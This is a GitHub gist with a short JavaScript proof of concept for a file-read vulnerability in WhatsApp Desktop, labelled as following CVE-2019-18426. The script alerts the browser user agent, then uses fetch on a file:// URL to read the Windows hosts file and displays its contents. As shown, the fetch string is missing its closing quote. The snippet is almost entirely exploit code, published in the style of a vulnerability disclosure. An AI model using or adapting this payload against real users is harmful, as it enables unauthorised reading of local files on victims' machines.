Skip to content

Instantly share code, notes, and snippets.

@galpx

galpx/9.js

Created August 11, 2020 10:07
Show Gist options
  • Save galpx/330dc746ba2e9528d76948d0837376a3 to your computer and use it in GitHub Desktop.
Save galpx/330dc746ba2e9528d76948d0837376a3 to your computer and use it in GitHub Desktop.
Download ZIP
WhatsApp FS read vuln post CVE-2019-18426
Raw
9.js
alert(navigator.userAgent);
(async function(){
// read "file:///C:/Windows/System32/drivers/etc/hosts" content
const r = await fetch('file:///C:/Windows/System32/drivers/etc/hosts);
const t = await r.text();
alert(t)
}())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment